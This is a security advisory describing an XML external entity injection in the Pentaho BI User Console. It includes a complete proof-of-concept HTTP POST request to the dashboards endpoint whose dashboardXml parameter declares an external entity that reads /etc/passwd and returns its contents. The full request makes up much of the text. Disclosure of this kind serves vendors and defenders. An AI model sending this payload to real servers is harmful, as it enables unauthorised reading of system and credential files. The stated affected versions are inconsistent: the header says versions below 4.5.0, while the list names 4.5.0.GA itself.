========================================================================
                   title: Pentaho User Console XML Injection Vulnerability
                 program: Pentaho BI User Console
      vulnerable version: Pentaho < 4.5.0
                homepage: http://www.pentaho.com/
               Tested on: Linux x86/x86_64
                   found: Feb. 5 2014
   Original Discovery by: Taylor Tippins
              Exploit By: K.d Long kd@stonedcoder.org
========================================================================

Vendor description:
-------------------

The Pentaho Business Analytics suite manages Business Intelligence solutions, generate the reports, 
data aggregation, and provides users access to analysis views.

Vulnerability description:
--------------------------
   The dashboardXml parameter is vulnerable to XML external entity injection. The tag <!DOCTYPE foo 
[<!ENTITY xxe8295c SYSTEM "file:///etc/passwd"> ]> was injected into the XML of the client's POST 
request. This tag defines an external entity, xxe8295c, which references a file on the XML parser's 
filesystem. This entity was then used within a data field in the XML document. The server's response 
contains the contents of the specified file, indicating that the parser processed the injected 
external entity.

By manipulating the POST request to “/pentaho/content/dashboards” it is possible to inject arbitrary 
XML declarations- and tags. This request is triggered while a user is creating a customized dashboard.

Proof of concept:
-----------------
The following entity declaration would create a new XML entity with the content of the /etc/passwd 
file which can be referenced in the following XML request content:

---cut here---
POST /pentaho/content/dashboards HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Referer: https://example.com/pentaho/content/dashboards?command=new
Cookie: loginNewWindowChecked=false; JSESSIONID=61448378278C147D05BC95BAB4B63F19
Content-Length: 2458
Connection: keep-alive


command=templatecontents&dashboardXml=<!DOCTYPE foo [<!ENTITY xxe8295c SYSTEM "file:///etc/passwd"> 
]><dashboard>
<title>New Dashboard</title>
<heading>New Dashboard</heading>
<enableWidgetPrinting>false</enableWidgetPrinting>
<documentation>
<author>test</author>
<description></description>
<icon></icon>
</documentation>
<template-ref>xul/04-1-then-2.xul&xxe8295c;</template-ref>
<theme-ref>00-Onyx</theme-ref>
<layout>
<overlay  xmlns:pho="http://www.pentaho.com">
<box id="Panel_1" pho:title="Untitled 1" type="titled-panel"  flex="1"  collapsed="false" />
<box id="Panel_2" pho:title="Untitled 2" type="titled-panel"  flex="1"  collapsed="false" />
<box id="Panel_3" pho:title="Untitled 3" type="titled-panel"  flex="1"  collapsed="false" />
<box id="Panel_4" pho:title="Untitled 4" type="titled-panel"  flex="1"  collapsed="false" />
<box id="Panel_5" pho:title="Untitled 5"/>
<box id="Panel_6" pho:title="Untitled 6"/>
<box id="Panel_7" pho:title="Untitled 7"/>
<box id="Panel_8" pho:title="Untitled 8"/>
<box id="Panel_9" pho:title="Untitled 9"/>
<box id="Panel_10" pho:title="Untitled 10"/>
<box id="titlebar" title="" height="23"  hidden="false"  width="0"  type="pagetitle" 
collapsed="false" /><box id="widget-area" type="scrollarea"/><box id="widget-area" flex="1"/><box 
id="FilterPanel" title="" height="100"  hidden="true"  width="0"  type="povpanel"  collapsed="false" 
/><box id="hbox1" type="layout"/><box id="hbox1" flex="1"/><box id="hbox2" type="layout"/><box 
id="hbox2" flex="1"/></overlay>
</layout>
<parameters>
</parameters>
<widgetJavascript><![CDATA[[]]]></widgetJavascript>
</dashboard>
&type=html
---cut here---


Vulnerable versions:
--------------------
Pentaho User Console Release 4.5.0.GA.49857


Vendor contact timeline:
------------------------
02/16/2014: Vendor notified via email